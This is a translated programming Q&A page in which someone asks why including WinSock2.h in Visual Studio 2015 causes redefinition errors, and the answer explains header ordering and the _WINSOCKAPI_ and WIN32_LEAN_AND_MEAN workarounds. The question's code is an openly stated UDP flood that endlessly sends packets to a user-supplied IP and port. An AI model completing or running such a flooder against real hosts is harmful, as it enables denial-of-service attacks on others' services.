当我包含WinSock2.h时,为什么会出现大量编译器错误?

时间:2016-07-01 16:29:21

标签: c++ windows winapi winsock2

我正在尝试使用C ++中的WinSock2.h进行UDP Flood,但是我在WinSock2.h上遇到了70多个错误和17个警告,所有错误都是重新定义,来自ws2def.h的语法错误,以及“不同的联系“。我做错了什么,或者这是WinSock2的问题?如果它有用,我使用64位Windows 10,Visual Studio 2015

  #include "stdafx.h"
  #include <WinSock2.h>
  #include <windows.h>
  #include <fstream>
  #include <time.h>
  #include "wtypes.h"
  #include "Functions.h"
  #pragma comment(lib, "ws2_32.lib") 
    //Get IP
    cin.getline(TargetIP, 17);

    //Get IP
    cout << "Enter the Port: ";
    cin >> nPort;
    cout << endl;

    //Initialize WinSock 2.2
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    //Create our UDP Socket
    s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    //Setup the target address
    targetAddr.sin_family = AF_INET;
    targetAddr.sin_port = htons(nPort);
    targetAddr.sin_addr.s_addr = inet_addr(TargetIP);

    //Get input from user
    cout << "Please specify the buffer size:";
    cin >> bufferSize;

    //Create our buffer
    char * buffer = new char[bufferSize];

    while(true){
        //send the buffer to target
        sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
    }

    //Close Socket
    closesocket(s);

    //Cleanup WSA
    WSACleanup();

    //Cleanup our buffer (prevent memory leak)
    delete[]buffer;

1 个答案:

答案 0 :(得分:4)

我猜您可能会遇到夹杂物的问题。

你可能会遇到很多错误:

1>c:\program files (x86)\windows kits\8.1\include\um\winsock2.h(2373): error C2375: 'WSAStartup': redefinition; different linkage
1>  c:\program files (x86)\windows kits\8.1\include\um\winsock.h(867): note: see declaration of 'WSAStartup'

这是因为默认情况下<windows.h>包含<winsock.h>,而<winsock.h>提供了许多与<winsock2.h>中的声明重叠的声明,这会在包含<winsock2.h>时导致错误之后 <windows.h>

因此,您可能希望在 <winsock2.h> 之前包含<windows.h>

#include <winsock2.h>
#include <windows.h>

或者,作为替代方案,您可以尝试定义 _WINSOCKAPI_ ,以防止<winsock.h><windows.h>中包含此预处理器#undef-#define - #include “dance”

#undef _WINSOCKAPI_
#define _WINSOCKAPI_  /* prevents <winsock.h> inclusion by <windows.h> */
#include <windows.h>
#include <winsock2.h>

我必须说_WINSOCKAPI_宏的定义干扰普通的头包含保护机制,以防止<windows.h>包含<winsock.h>听起来像一个基于实现细节的脆弱“黑客“,所以我可能更喜欢第一种选择。

但是所有这些包含错误的顺序听起来像是Win32标题中的错误,所以最好的办法是让微软解决这个问题。

修改
正如评论中所建议的那样,另一种选择可能是 #define WIN32_LEAN_AND_MEAN 之前包括<windows.h>。但是,请注意,这也可以防止其他Windows标头的包含。

<强> P.S。
如果您在问题中新显示的代码中使用预编译标题"stdafx.h"),您可能还需要注意其中包含的顺序。